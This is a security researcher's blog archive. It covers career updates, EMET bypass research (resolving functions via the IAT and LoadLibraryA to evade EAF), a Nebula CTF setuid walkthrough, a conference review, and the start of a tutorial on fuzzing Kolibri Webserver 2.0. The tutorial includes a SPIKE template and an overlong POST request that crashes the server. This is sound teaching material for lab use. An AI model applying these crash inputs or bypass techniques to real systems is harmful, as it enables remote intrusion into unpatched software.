Saturday, February 20, 2016

An Update and Some Tips and Tricks I Picked Up

Intro

Quick note before I start this, but I am writing this at 12:36 am my time so please excuse any spelling mistakes etc you may find :)

Some Lessons

Its been a long time since I've last done a post on this blog and I think enough has changed in my life that I aught to discuss some of the things that have occured. For those of you not already aware, since I last updated by blog I finished my studies as a Junior Security Consultant at NCC Group and have now graduated to a full time security consultant. As a result of this I've been busy bouncing back and forth between various jobs for several of NCC Group's clients, an experience that has proven to be both interesting and unexpected in a number of different ways.

In particular, one of the things that suprised me the most was how different everyone's experience is when it comes to performing professional pentration tests. Whilst my internship at MWR Infosecurity exposed me to this somewhat, its become much more apparent over the last few months that there are a wide range of skillsets within the infosec industry and that it really is quite impossible to master every single one of them, or even truely gain indepth knowledge of a few of them, without actual experience working with those products. There is simply too much to learn within a single field of security. As thus I've found that many people tend to choose one main area of study that they want to truely master and then another 2 or 3 additional areas that they try to remain knowledgeable about. This is just my experience though an in no way should act as a delimter to stop someone from trying to learn as many feilds as they feel comfortable taking on.

Another thing that I've come to realise more about is the role of certifications these days. Many people I've met have repeatly noted that they are not comfortable with the idea of certifications within the security community, and having done some jobs for NCC Group, I can honestly say that I understand why this is the case. Whilst I have done several security certifications such as OSCP and OSCE in the past, and they have no doubt help build the basics in my mind, until you are actually put on the job and have to learn things by yourself. Several concepts, tips, and tricks I've only learnt through actually getting hands on with training labs and real world client engagements where one has to come up with solutions to various problems on the fly. While most of you who probably read this blog already know this is the case, you'd be suprise to know that some of the people I've worked with still don't realise the crucial need to self learn or ask for help in these situations. If you don't know how to Google your problem, your going to have a bad time and your just wasting your time, your clients time, and the companies time.

Finally, I  found it really odd how many pentesters I've met from various companies whilst working who don't know how to program. Understandably, some pentesters may feel that they don't need to learn programming as most of their job consists of running tools that others have programmed and then interpreting the output to report to the client. Unfortunetly, without a proper understanding of programming, one will not understand the true underlying nature of a lot of security issues that he/she reports, which will hamper one's ability to explain the true impact of a bug on the client's systems.

Future Plans - Defcon, Exploit Development Stuff, Misfortune Cookie, etc

With all this aside, I wanted to say that this year I will be planning to attend Defcon 24 this year and will be self funding a trip down to Las Vegas to come see all you guys in the USA :) If your in the area or planning to attend, feel free to give me a shout; it would be great to meet up with all of you!

Some of you guys have also been asking why I haven't been updating the blog with any stuff reguarding exploit development. The thing is that while I am still working on exploit development from time to time (its not so easy doing it inbetween jobs), a lot of it is still either a work in progress, or covered by company NDA agreements, so I can't really discuss a lot of it. That being said, if you are interested in some of the work that I have done recently, feel free to take a look at https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2015/10/porting-the-misfortune-cookie-exploit-whitepaperpdf/ for one of my whitepapers I did on porting the Misfortune Cookie exploit to support more target routers. Unfortunetly due to the company's policy on exploits, I am prohibited from releasing any of these exploits publicly or too many screenshots on the whole process, however the whitepaper tries to provide an overview of the process and the problems that I encountered as best as I could.

I've actually had a lot of thoughts about how I plan to continue to develop my skills in the future. One of my concerns is the combination of pentesting and exploit development burning me out in the long haul, however at the same time I realise theres a certain point where this thought is just dragging me down and preventing me from doing anything useful. To that extent I am planning to try go through The C Programming Language 2nd Edition by Brian W. Kernighan and the late Dennis M.Ritche to recover C programming basics and ensure that I don't have any gaps in my knowledge as I feel there are some areas that might need reinforcing. I'm hoping to then go through The Shellcoder's Handbook Second Edition as I really need to go through some of the basics in that book such as heap overflows, fuzzing and format string bugs.

Conclusion

With all that being said, I'm very happy to be working with NCC Group at the moment and I hope to try and update this blog some more in the foreseeable future if it is at all possible, however the main thing I wanted to get across here is that because of NDA's and work life, I may end up posting less on this blog than normal. Hopefully though, I will be publishing some whitepapers and technical articles though NCC Group and I'll likely be notifying you guys of any updates on that side of things through my blog or Twitter.

Until the next update, keep learning guys :)

- Grant

Wednesday, November 11, 2015

Some Observations On Duo Security's "WoW64 and So Can You" Paper

So presently I haven't been posting a lot due to ongoing work at NCC Group but I stumbled across something interesting I thought would be good for a quick post whilst reading Duo Security's "WoW64 and So Can You" paper. In the paper, they describe how many of EMET's protections, whilst properly applied in pure 32 and 64 bit contexts (with the limitation that a few ROP mitigations don't work so well on 64 bit programs if I recall correctly, though this may have been fixed since then), are not applied well or even at all within WoW64 contexts. As described very nicely within their paper (which I am just briefly sumarizing here for simplicity and convience's sake) WoW64 is essentially a compatability layer for 64 bit operating systems to run pure 32 bit applications within their 64 bit environment.

The real problem for EMET is that the way this is implemented is essentially to have two contexts running for the application at the same time, one to support 32 bit (aka protected mode) operations and one to support 64 bit (aka long mode) operations. When I say two contexts I really do mean two contexts here. There are sepearte TEBs (thread execution block, which handles the threads for the program), PEBs (process execution block, which contains data structures which apply for the entire process), and a number of different DLL imports and redirects which all help to ensure that the application is able to run on the 64 bit operating system.

The problem that occurs here when one considers that an application can switch between 32 bit and 64 bit modes during execution with a single instruction. At this point it becomes very hard for EMET to properly enforce it's protections as whilst it may intially implement it's function hooks, hardware breakpoints and other protection mechanisms under the assumption that the application is running as 32 bit code, as soon as the application switches to 64 bit mode, these protections are essentially rendered useless as now different code, libraries, and execution environments are being used which are no longer subject to the protections implemented on the 32 bit code. To add further complications to the matter, even if these protections where to somehow be brought over from the 32 bit code, one has to reimplement them in 64 bit code to match the new execution environment, otherwise they would not function correctly.

What I found particularly interesting was in their"Address Space Layout Section" where they described how they attempted to find where the 64 bit copy of ntdll.dll that was loaded into the WoW64 process is located so they can start calling functions from it within their shellcode. In particular I found particular interest in their second point, which I'll quote here:
The order in which modules are loaded is reliable, resulting in predictable module alignment presuming no change in module size (in practice, we have found this alignment to be reliable across a variety of patch levels).(https://www.duosecurity.com/static/pdf/WoW64-Bypassing-EMET.pdf)
You may recall my post An Theoretical Approach to Getting Around EMET's EAF Protection in which I described a way to potentially get around EMET's EAF protection in a similar manner. By looking up a function with the export table which is located in the same DLL as the function we wish to call, we were able to obtain a base address from which to start our calculations. From there we abused the fact that functions within a DLL tend to be located at set offsets from one another to find the location of the function we wished to call by taking the address of the function that we had located from the export table and adding or subtracing the offset to get the address where our desired function had been loaded in memory. I did also note after some comments from Reddit that the exact offset may change across patch levels due to the fact that the size of different functions within the DLLs may change, thus affecting the exact size of the offsets between functions.

In a similar manner, Duo Security managed to abuse the fact that the order in which the DLL's are loaded into a WoW64 process on Windows 7 are always located at set offsets from one another, assuming no change in module size. That sounds rather familar right? They even mention how changes in module (aka DLL) size and patch versions will mess up their technique. So it seems to be rather similar to the technique that I ended up using in my research paper.

I just wanted to point this out in case anyone was interested and also to bring up another point to think about when considering EMET bypasses, namely that whilst ASLR does have a large impact by preventing an attacker from learning the location where modules are loaded in memory, there are still ways, in the right environment, by which one can figure out their location without resorting to memory leaks or other exploits.

Will be interesting to see if anyone takes Duo Security's research and applies it to some real world public exploits as I would be interested to see how such techniques handle themselves when confronted with different vulnerable targets and exploit scenarios.

Until next time,
Grant (aka @tekwizz123)

Wednesday, July 1, 2015

Final Year Dissertation Paper Release: An Evaluation of the Effectiveness of EMET 5.1

Update (July 26th, 2015 4:00pm): So looks like I've finally got an answer reguarding this issue. A representative from the Export Control Organisation responded back saying that, as some of you have pointed out, by releasing my research publicly I would not be subject to the terms of the arrangement due to the public domain exception clause. Futhermore, they also do not consider exploits or intrustion software itself to be controlled by the new 'intrusion software' related controls for export from the UK or EU. Therefore it looks like I should be clear to release the full report to the public. I have attached a screenshot of the email below as proof of evidence and so you can read the details and full and make your own interpretation in case I have misread anything:



Update (July 20th, 2015 7:20 pm): Sorry for the delay reguarding this issue. I have recieved another update from the Department for Buisness, Innovation and Skills reguarding my questions. They have apparently decided to forward my question on to the Export Control Organisation who deal with export licenses and any conflict with the Wassenaar Arrangement. The email was sent on July 17th, as you can see below. I will await a response.

 
Update (July 15th, 2015 2:04 pm): So I have recieved an update from the HMRC government reguarding what they think about this issue as well as a minor update from my university. Starting with the university (since that is simpler), they are still working on getting things organised but are looking to try push the issue past the ethics board after I have stated my case as to why I believe the exploits, and subsequentally the whole research, should be published in full.

You can see the email response that I got from the uni below. For reference Julie Horton is the head of all of the final year dissertation projects at Northumbria University and also acts as a mediator of sorts to ensure that projects fall within the university's ethical guidelines. Martin Wonders, who you may see cc in the email above this one, was my project supervisor:


With that being said and done, I have recieved a final answer from HMRC. Unfortunetly despite my persistance reguarding the matter and repeated questioning of whether or not the paper was within the export restrictions guidelines, all I got as an answer was "look at the export guidelines". Here is the full chat log that I had with HMRC for reference:







In summary, the gist of the email is that the HMRC (who are one of two bodies responsible for enforcing export controls over here) referred me to the Department for Buisness, Innovation and Skills reguarding my original export question, at which point they have then repeatively told me that I need to align my research with reguards to the export control lists without stating whether or not my research actually falls within the tolerances of the export control lists or not.

Therefore at the moment, until I get a response back from my uni I can't really do anything. I've heard a lot of people state that the research should be ok to release publicly and provided the export controls in the UK are indeed in line with what I think they are it shouldn't be an issue but still working on getting the university side of things sorted out. Hopefully this will all become clear sometime soon.

Update (July 5th, 2015 23:47 pm): In light of the attention this post and the associated paper has been getting I would like to discuss my current plan of action. Many of you have said that I should just release the code publicly and get it over and done with. Whilst I would like to do this, I do not believe this to be the best of course of action. 

Instead I have decided to talk to my supervisor and the uni's ethics board again to see what can be done about releasing the code. As far as I am aware (this is from my main project supervisor) it should be possible to get the uni's ethics board to review and possibly change their decision to allow the code to be released but obviously this will take time.

The other thing that I have done is contacted the HMRC, one of the enforcing boards of the Wassenaar Arrangement here in the UK, to get their official opinion on this situation. I believe this is necessary to prevent such situations from happening in the future and at least get the UK government's opinion on such matters, which will hopefully help others who wish to release similar research in the future.

Please be patient with me whilst I continue with this process. I know you guys think I'm being naive/silly/w.e but at the end of the day this is my decision and this is what I believe is the best course of action for all involved.


This post has been in the works for a long time, however I wasn't able to release it until my official results came out due to concern about collusion which could have resulted in my university changing the results of my grade. However now that the grades have been published and results are final, I can share with you guys something I have been meaning to share for quite a while: my final year dissertation paper.

My paper covers three separate exploits that I converted to try bypass EMET 5.1's protections as best I could and the techniques that I used to do so as well as how successful EMET 5.1 was at preventing me from exploiting the vulnerable programs.

Before proceeding, please note a couple of very important points:

Update (July 26, 2015): Paper has now been released in full.
  • I am aware there are a few conceptual issues the approach I used for this paper. In particular, the technique that I used to bypass EAF and locate the functions needed to create the final exploit does not work consistently across different patch versions of the same operating system (aka a clean, unpatched version of Windows 7 will need different offsets than a fully patched version of Windows 7). Whilst further research did find that only a very limited number of core kernel updates affect this issue, it still is a huge limitation and is something that I would look to fix if I had more time in the future.
  • There may still be spelling or grammatical issues within this document, for which I apologise in advance. I have looked through the paper several times so most issues should be resolved but please let me know if you find anything.
  • There are a couple of sections within the paper that were purely for the uni. Please feel free to skip these as they are not relevant to the paper's content :)

With all that being said, please do enjoy the paper :) I hope you manage to learn something from it.

Download (full, uncensored version): https://drive.google.com/file/d/0B5pT4hU_yYUWLXVZVTlBa05La1E/view?usp=sharing

Download (old censored version):  https://drive.google.com/file/d/0B5pT4hU_yYUWcUtsUWxxcFJjOVU/view?usp=sharing

Friday, June 12, 2015

Nebula Exploit Exercise Level 00 Walkthrough

Intro

So this is more of a reminder post to myself to track my progress through this thing, but I thought I might as well do a post seeing as there are already about 6 other solutions out there and the authors don't seem to mind walkthroughs too much.

That being said, this is level 00. If your getting stuck on this, you should seriously try harder before you look at the solution. If you want to check your work however and think you have the solution, feel free to read on :)

The Problem

For Nebula's level 00 exercise, we are tasked with finding a setuid program that will run as the flag00 user. We are also given the hint that reading the manual page for the find command may help us find where this file is located.

So my first approach to this was to look up the manual page for the find command. However the manual page for the find command contains many different options and switches. Lets try grep out anything mentioning setuid or something along those lines shall we?

Solving the Problem

First we log in with the username level00 and the password level00. Following this we issue the following command:
man find | grep -i suid
      \( -perm -4000 -fprintf /root/suid.txt %#m %u %p\n \) , \
       into /root/suid.txt and large files into /root/big.txt. 
We see that we can could run find / -perm -4000 to find all of the files with the setuid bit set from the root directory downwards. But why is this the case? If we look up setuid within Wikipedia we get the following information:
The setuid and setgid bits are normally set with the command chmod by setting the high-order octal digit to 4 for setuid or 2 for setgid. "chmod 6711 file" will set both the setuid and setgid bits (2+4=6) (Wikipedia, 2015, June 12 2015, https://en.wikipedia.org/wiki/Setuid)
Thus from this we can see that within the UNIX privilege management system, the first number (the 6 in chmod 6711) denotes if the file has setuid or setgid permissions or not. Thus by searching for files via find / -perm -4000 we are effectively searching for all of the files which have the setuid bit set. However this could return quite a few files, so lets pipe the output to a file and then cat the result.
level00@nebula:~$ find / -perm -4000 > /tmp/results.txt
level00@nebula:~$ cat /tmp/results.txt
/bin/.../flag00
/bin/fusermount
/bin/mount
/bin/ping
/bin/ping6
/bin/su
/bin/umount
/sbin/mount.ecryptfs_private
/usr/bin/at
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
Ah, there we go :) We see that there is a file /bin/.../flag00 which seems to hold the suid flag that we need to complete this level. Lets check:
level00@nebula:~$ ls -alh /bin/.../flag00
-rwsr-x--- 1 flag00 level00 7.2K 2011-11-20 21:22 /bin/.../flag00
That looks like the one :) And if we execute it and then run getflag, we will see we have completed the challenge:
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account

Thursday, June 4, 2015

BSides London 2015 In Review

Hey guys, thought I would give a quick update as to some of the stuff that is going on in my life. Yesterday I went down to BSides London for another yearly event of meetups and talks. The event was great and I bumped into a whole bunch of people I hadn't seen in quite a while including some mates of mine from uni, and some pentester mates (@TheXero, @Zy0d0x, @n0x00, Duncan, and some other mates)

The keynote presentation was by Wendy Nather and it touched on the importance of privilege and usability within digital security and how assumptions about how users will interact with a system could result in client frustration and the creation of insecure systems.

The next presentation that I attended was @__Freakyclown__'s "How I Rob Banks". This excellent talk covered some of the security failings __Freakyclown__ had encountered when testing the security of modern banks. In particular it drove home the point that even if the company purchases the most top notch digital security gear, that does not necessarily mean that they spent as much money on their physical security. To highlight the simplicity of some of these issues he walked through some examples he had encountered in past engagements and how he managed to bypass the security mechanisms in place in each of the scenarios.

One particularly interesting example demonstrated was the bypassing of a invisible fence which used microwave waves to detect intruders. The only problem is that microwaves don't pass through all surfaces. Because of this, he was able to bypass their defences by crawling on the ground and using a group of low shrubs (which were blocking microwaves from passing through) to get past their initial external security.

Following __FreakyClown__'s talk, I decided to do a little bit of HallCon and grab some of the free lunch that was being offered. At this point I happened to bump into several people that I hadn't seen in quite a while and spent some time catching up with them. A noticeable difference from last year's BSidesLondon was that the conference venue seemed to be much more organised this year with a larger focus on HallCon, as evidenced by the chairs and tables in the vendor room as well as the ample free space throughout the conference.

Having completed caught up with people, I then decided to go to the workshop "Dradis Framework 3.0 - We Are Back!". To be completely honest I felt this workshop was a bit of a let down. Although Daniel Martin was an excellent teacher and was happy to help out, the Dradis 3.0 framework itself was found to need a lot of work. The reason for this was although the ready to go packages came with all of the prerequisites needed to run Dradis 3.0, it did not come with any plugins to import results from other tools. Futuremore, it was not currently possible to add additional plugins to this readily deployable version of Dradis without considerable time and effort.

Speaking with Daniel Martin (@etdsoft), he revealed that the original plan for these prebuilt packages was to strip all the plugins out and allow people to install them as they desire, however he has found that this doesn't work at the moment without a long and very complicated install process. As thus, he is planning to release a future version with all of the plugins installed from the start so people can remove the plugins as they desire. Hopefully this will be fixed in future releases, as I have heard many good things about the tool and seen some very interesting things that it is capable of doing.

The last workshop that I went to was Ruben Boonen (@FuzzySec) and Francesco Mifsud (@GradiusX)'s "Windows Privilege Escalation". The room was pretty full for this one, which was to be expected given the amount of interest it had generated :) The workshop covered some common issues within Windows services and applications that would allow one to escalate their privileges on Windows machines. The class went really fast, however thankfully they added notes into the material that they released in case anyone fell behind so it was pretty easy to catch up.

I learned a lot from this one from simply just going through the slides and materials and trying stuff out so it was well worth it. That being said however I think I need a lot more practice as there were quite a few commands that I either had never used before (such as findstr) or with which I was only vaguely familiar. Overall this had to be one of the better talks that I attended and I hope Ruben and Francesco decide to continue it in the future as I think it helped quite a lot of people out.

At this point the day was pretty much wrapped up and the only thing left was the closing remarks which consisted of some quick comments and some raffle draws/prize handouts.

Overall the event was thoroughly enjoyable and I really hope to go again. I can honestly say this was one of the few events where I didn't find a single major issue with the whole event, which was a rather pleasant surprise. I hope I can attend next year and that BSidesLondon will continue offering amazing talks and events.



Sunday, January 18, 2015

An Theoretical Approach to Getting Around EMET's EAF Protection

Update (01/28/15): As pointed out by Gorlob on /r/netsec (http://www.reddit.com/r/netsec/comments/2tnfac/bypassing_emets_eaf_protection_a_slightly/co1t26o), this techique may not work between different build versions of a given DLL. The reason for this is because different patches and updates may end up changing the offsets and locations of various functions within a DLL, such as the msvcrt.dll DLL we use in this tutorialm which would mean that even if I was to target, say a Windows 7 machine, I would have to change the offsets every time that machine was updated or patched. Please keep this in mind when reading the article below, and realize that while this is a bypass, its not really applicable to real world situations as it stands.


So a lot of people as of late have been talking about EMET an in particular how to bypass many of its protections and features that it offers. I thought this was an interesting challenge given my background in exploit development, so I decided to devote my dissertation paper to finding how effective EMET 5.1 is at preventing people from exploiting programs using three different types of exploits. However a few days ago I hit an interesting problem and today I would like to share the solution I came up with in the hopes that it may be useful to others.

My problem started when I needed to find a way to bypass EAF. For those of you who don't know, EAF protection is a protection offered as part of EMET's protection suite which prevents exploits from reading the Export Address Table (EAT) by blocking access to the EAT based on the origin of the code. Shellcode often needs to read the EAT in order to find out where various functions are in memory that it needs to call. Thus by filtering access to this table, shellcode, including metasploit shellcode, will be prevented from working, and EMET will simply detect an EAF bypass, will alert the user, and the program will be closed down. (Please see http://download.microsoft.com/download/A/A/8/AA853FAE-7608-462E-B166-45B0F065BA13/EMET%205.1%20User%20Guide.pdf for more details, in particular page 8)


There is a way around this however. As discussed in Aaron Portnoy's "Bypassing All Of The Things" presentation (https://www.exodusintel.com/files/Aaron_Portnoy-Bypassing_All_Of_The_Things.pdf), one can simply obtain the addresses from the Import Address Table (IAT), as discussed in slide 77, rather than the EAT. The IAT contains a list of entires, each which is a pointer to the actual address of the corresponding function in virtual memory.

To take a look at a executable's IAT, we can simply crack open a free version of IDA Pro and wait for IDA to finish examining the entire program. When its done, simply click on the tab labeled "Imports". You should end up seeing something like this:


On the far left we can see the addresses for each of the IAT entries, followed by an ordinal number if there is one (so that the function can be called via its ordinal number rather than via its normal address. Google this if you don't know what I'm talking about, its a bit beyond this post), the name of the function, and the library from which it came from.

So we have a way to get the actual address of the functions listed in the IAT, but what if the function you want does not exist as an entry within the IAT? Well, first you need to find an entry that exists in the same library as the function that you want to find the address of. Say I wanted to call ExitProcess, a function located in Kernel32.dll, and I know there is a function ReadFile which is also within Kernel32.dll.

There is an entry to ReadFile within the IAT at 0054E1F4. Dereferencing this address will get me the address of ReadFile. Once I have the address of ReadFile I can then take advantage of another trick to get the real address of ExitProcess. You see, because ReadFile and ExitProcess are in the same DLL, they will both have the same base address. These are usually the first 2 bytes of a 32 bit address. Furthremore, all functions are loaded at static offsets from the base address, reguardless of how randomized the DLL might be by ASLR etc. Because of this, with knowledge of where ReadFile is in memory, I can simply add or subtract the offset from ReadFile to ExitProcess from the address of ReadFile to get the address of ExitProcess in memory. This offset will never change even after the machine reboots and the location of Kernel32.dll changes.


However some of you might have noticed a slight problem with this. What if the program doesn't have an IAT entry to a function within the libary your desired function is in? Aka you want to call a function located in msvcrt.dll but there are no IAT entries that point to any functions within that library? Well this is exactly the situation I encountered in the field recently. I wanted to call the function memcpy using the IAT. memcpy is located in msvcrt.dll, however as you can see from the photo below, there is no IAT entry for memcpy:


As a matter of fact, there isn't any entry in the IAT table for function that belongs to a library who's name even starts with "m". We're going to have to get a little creative here.

If we look at the exe within Immunity Debugger, we notice that msvcrt.dll is actually loaded by the application itself. However because of rebasing, the address will change every time the system restarts:


However there is a way to get this to work. What we can do is abuse some of the properties of LoadLibraryA to still dynamically get the location of memcpy. Conveniently, the IAT has an entry for this:


Using this entry, we can simply dereference the memory address 0054E268 within our shellcode to get the address of LoadLibraryA. Once we have the address of LoadLibraryA, we can call it and pass a pointer to the string "msvcrt" on the stack (I have not shown how I dynamically created this on the stack, but its not too hard to do). Here is an example of this in an exploit I am presently working on (to give a more realistic example):


As you can see, we are presently calling LoadLibraryA, by dereferencing the address in EDX. EDX contains 0054E268, or the IAT entry for LoadLibraryA. By deferencing and then calling this address I end up calling LoadLibraryA itself. On the stack you can also note that I have placed the address where the "msvcrt" string is located, namely 10027090, as the library that I wish to load. Lets see what happens after this call completes:


As we can see, the base address of msvcrt.dll is placed into EAX once the call is done.

This means that based off of one entry within the IAT table, we can figure out the address of any other function in memory. Furthermore, even if the corresponding DLL is not loaded within the current program, LoadLibraryA will load the libary for you into the current process and return the base address where that library was loaded into EAX. Therefore, reguardless of the load status of the DLL which contains the function you are after, this trick will still work.

At this point, all we need to do is add to EAX the offset to the function we want to call within msvcrt.dll. These offsets are static, as mentioned before, so even after a reboot they will still remain the same, thus defeating the rebasing.

Anyway, I hope you guys found that interesting and useful. Just a little something I found during my research into EMET.

-tekwizz123

Friday, October 17, 2014

Finding New Vulns With Fuzzing and Turning them Into An Exploit Part 1: Kolibri Webserver 2.0 POST Exploit Example

Finding New Vulns and Bypassing All The Things: Kolibri Webserver 2.0 POST Exploit Example

Legal Disclaimer

The vulnerability discussed in this tutorial has been made public in the interests of public security. It was released to Bugtraq (http://seclists.org/bugtraq/2014/Aug/86) on the 17th of August, 2014 after careful decision and deliberation about what to do with the bug.

The decision was quickly made to make the bug public. The reason I decided to do this is because there are already 2 other bugs in Kolibri Webserver 2.0 which are reliant on the same vulnerable code path in the program and which also result in remote code execution. These vulnerabilities have not been patched to this day, despite the first vulnerability being found in 2010 (CVE-2010-5301) and being ported to Metasploit (http://www.rapid7.com/db/modules/exploit/windows/http/kolibri_http). This one was related to an overly long HEAD request. The second vulnerability was also found in 2014 (CVE-2014-4158) and was related to an overly long GET request. There is also exploit code available for these two bugs, as can be seen at http://www.exploit-db.com/exploits/34059/ and http://www.exploit-db.com/exploits/33027/. 

Furthermore, the vendor has responded to, as far as I am aware, at least the HEAD vulnerability, by stating "Please note there are number of reported "security vulnerabilities" for Kolibri webserver. So let me clarify that Kolibri+ is not secure and will never be secure for the same reason bicycles don't have airbags." However this is not immediately apparent, as one has to navigate to the Kolibri+ Webserver page (available at http://www.senkas.com/kolibri-plus/) to see this notification, and there is no notification about this on the Kolibri Webserver page. From what I am aware of, Kolibri+ is meant to be the new edition of Kolibri Webserver, therefore it would seem likely that it is built on the same code base, but I have yet to verify this. Something to investigate if your interested :)

Anyway, getting back to the story. When I put all of this together I decided to go full disclosure on the issue as the vendor clearly has no intention of fixing the numerous bugs within the code, and with the combination of the public HEAD and GET exploits which have the same impact on the program and which take the same vulnerable code branch, I saw no reason why making my exploit public would harm anyone. Thus this is why I chose the full disclosure approach. Upon later investigation, it also appears that this product hasn't been updated since 2008, so it appears to have been abandoned by the software developer.

Disclosure Process

August 7-8th to the 16th: Work on making a proper PoC to demonstrate RCE

August 16th 2014: Request CVE-ID from MITRE by emailing cve-assign@mitre.org.

August 17th 2014: Get email back from mitre.org saying they have assigned CVE-2014-5289 to the issue and add a note of the other CVE-ID's for the other vulnerabilities.

August 17th 2014: Send off email to BugTraq mailing list with the details, and explanation of the bug, and a working PoC that popped a reverse shell to prove the vulnerability.

August 18th 2014: Vulnerability Published on BugTraq mailing list publicly as per mitre.org's general recommended guidelines at http://seclists.org/bugtraq/2014/Aug/86

August 19th: Vulnerability taken by others and posted to numerous sites including 1337day.com and packetstormsecurity.com, is assigned a number in the OSVDB (110142 as can be seen here: http://osvdb.org/show/osvdb/110142).

August 20th: Contact MITRE to let them know the issue is public and has been posted to BugTraq. Email them a link to the BugTraq post, along with the other resources I found that had the exploit code to prove that the issue had now gone public.

Some days later: CVE-2014-5289 is assigned to the issue as seen here (http://cve.mitre.org/cgi-bin/cvename.cgi?name=2014-5289)

The Proper Intro

What is the Bug?

Essentially speaking, this is not a very complex bug. If you've looked at some of my previous tutorials, this bug might seem very simple to you. If not, you should have a good understanding of:
  • Egghunters
  • SEH Overflows
  • Debuggers in general
If you don't understand those concepts or how to do common exploits/work a debugger, you may want to look at some of Corelan's or Lupin's tutorials at TheGreyCorner and come back when you have more experience. If you have no idea what the heck I am saying, a) Your in the wrong place and b) Go to Lupin's TheGreyCorner and start reading all of his tutorials. When your done, read up to tutorial 6 from Corelan. Then come back here.

Back to the bug. The bug is essentially a buffer overflow when parsing an overly long URL for a POST request. Thus the following request will cause a crash:

POST /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
HTTP/1.1\r\n
User-Agent: Wget/1.13.4\r\n
Host: 192.168.99.142:8080\r\n
Accept: */*\r\n
Connection: Keep-Alive\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 50

licenseID=string&content=string&paramsXML=string

Setting Up

All good? Ok. So here is what your going to need to continue following along with this tutorial:

  • A Windows 7 machine, can be x86 or x64, though to start off with you may want the x86 version, otherwise you'll have to wait for the WoW64 egghunter portion of the tutorial to get the 64 bit version working.
  • A Kali Linux machine on the same network as the Windows 7 one.
  • Immunity Debugger
  • Mona.py (optional)
  • pattern_create.rb and pattern_offset.rb from Metasploit
  • The WoW64 egghunter code from https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/.
  • Kolibri Webserver 2.0 (http://www.senkas.com/kolibri/download.php)
First set up your Kali Linux machine. Then install Kolibri onto the Windows machine, and set up Immunity Debugger and optionally install mona.py. Once we have done this we can start fuzzing Kolibri for flaws.

Explaining the Fuzzing Code

This was actually done whilst probing for existing vulnerabilities for my CTP course to make some SPIKE templates. During this time I was testing Kolibri webserver for its vulnerable GET overflow and thought that I might as well expand the example and try creating a POST template as well, since GET and POST share some similarities in their parameters.

Funnily enough, after less than 2 minutes of fuzzing, the program fell over with an exploitable crash. The spike template that I used for fuzzing the program was:

s_string("POST /");
s_string_variable("enlighten/calais.asmx/Enlighten");
s_string(" ");
s_string("HTTP/1.1\r\n");
s_string("User-Agent: Wget/1.13.4\r\n");
s_string("Host: 192.168.99.142:8080\r\n");
s_string("Accept: */*\r\n");
s_string("Connection: Keep-Alive\r\n");
s_string("Content-Type: application/x-www-form-urlencoded\r\n");
s_string("Content-Length: ");
s_blocksize_string("data", 2);
s_string("\r\n\r\n");
s_block_start("data");
s_string_variable("licenseID=string&content=string&paramsXML=string");
s_block_end("data");
s_read_packet();
sleep(3);
s_read_packet();
What this code does is first declare the static string "POST /" (minus the quotes, those are just for clarity) that will always be sent first. This will be follow not by a new line, but rather by a variable string which will change constantly according to a predefined set of checks defined in SPIKE. The first string that it will test however is the value currently defined in the quotes, namely "enlighten/calais.asmx/Enlighten" (again, sans quotes). The rest of the s_string declarations should be fairly straightforward if you got the earlier s_string example with "POST /".

The part after this is a bit more confusing. The line 's_blocksize_string("data", 2)' says to the spike fuzzer that we would like to insert a 2 byte value representing the size of the block called "data" at this location. The line 's_block_start("data");' starts the definition for this block of data (ironically named "data") of which the length needs to be tracked for the s_blocksize_string line so it can insert the correct length of the string into the packet it sends to the server. We then declare a variable string (tbh we don't need to as we never get to fuzzing this before the program crashes, but hey, I wanted to show a different way of doing things ;)) with the line "s_string_variable("licenseID=string&content=string&paramsXML=string");". Following this we use s_block_end("data") to end the block "data", thus the block "data" now contains one element, a string of arbitrary length, who' size can be tracked with the earlier s_blocksize_string line.

Finally, after declaring all of the parts of the packet that we will send line by line, we then recv the banner response from the server, as Kolibri will send a banner to anyone who connects to its server port, and we would like to retrieve this if possible. Following this, we sleep for 5 seconds to allow the server to properly handle our requests and not get overwhelmed. For some reason Kolibri is not very good at handling multiple requests simultaneously, thus the long wait period. You can tune this down to about 3 seconds if you want to speed things up, but any shorter might cause problems.

Fuzzing the Server

At this point we now need to fuzz the server and observe any crashes that occur. Save the script I mentioned above as post.spk on your Kali machine:


Ok at this point, we now need to set up the Windows machine so Kolibri is listening and Immunity is attached to it so we check for crashes and capture any of them of them in Immunity for further inspection.

First off we will start up Kolibri. We will then attach Immunity to Kolibri so we can debug any crashes:


Once you have done this, press F9 to run the program, and then hop on over to your Backtrack/Linux machine where we'll start up the fuzzer and use Wireshark to capture the traffic that is sent over the wire.

If you encounter an error when accessing 00000000 on startup, just press shift and F9 together and the program will carry on running.

On the Backtrack host, set up Wireshark to listen on the interface that you will be using to send the packets (I'm assuming at this point you know how to use Wireshark or a similar tool, if not, Google is your friend). We will then navigate to the directory of our post.spk SPIKE file (or whatever you have named the SPIKE file we created earlier) and will execute the following command:

generic_send_tcp 192.168.82.129 8080 post.spk 0 0
 In this command we use the generic_send_tcp command included with the SPIKE toolkit to fuzz a generic TCP request using the SPIKE fuzzing template we created. We tell it to connect to 192.168.82.129 on port 8080 to preform the fuzzing and tell it to start from the first variable we wish to fuzz (we defined 2 in our SPIKE file), and to use the first fuzzing case generated for it (the second 0 you see in the command).

If we wanted to, we could change these last two parameters to skip the fuzzing of the first variable and instead start from the second variable, or to skip over certain test cases that may crash the program in a nonexploitable way. This won't be necessary today, but I would like to make you aware of this in case you wish to explore further ;)

Now that we have that all set up, lets set off the fuzzer!


As you can see, we have Wireshark in the background capturing any and all packets that are being transmitted over the wire so I can try and pinpoint where the application is crashing. In the foreground you can see the progress of SPIKE as it slowly fuzzes the application.

The reason we place a long delay in (see the file for where we add "sleep(3);"), is that Kolibri is incredibly slow at responding to requests by web server standards. To ensure requests don't intermix and the results from the crash are as clear as possible, I decided to make the wait time sufficiently long so that the application can handle the requests in adequate time. If you wish you can make this shorter, but if you get odd results I did warn you! In the meantime I recommend you get a light snack, and wait.

If you continue to monitor the status of the fuzzing, you should eventually see something like this on the 30th request (at least for me it was like that). If you don't get this, skip this section and move on to where I create the PoC. The application is really slow to respond and can be a little buggy.

Anyway this is what it looks like before the crash, when its accepting requests:


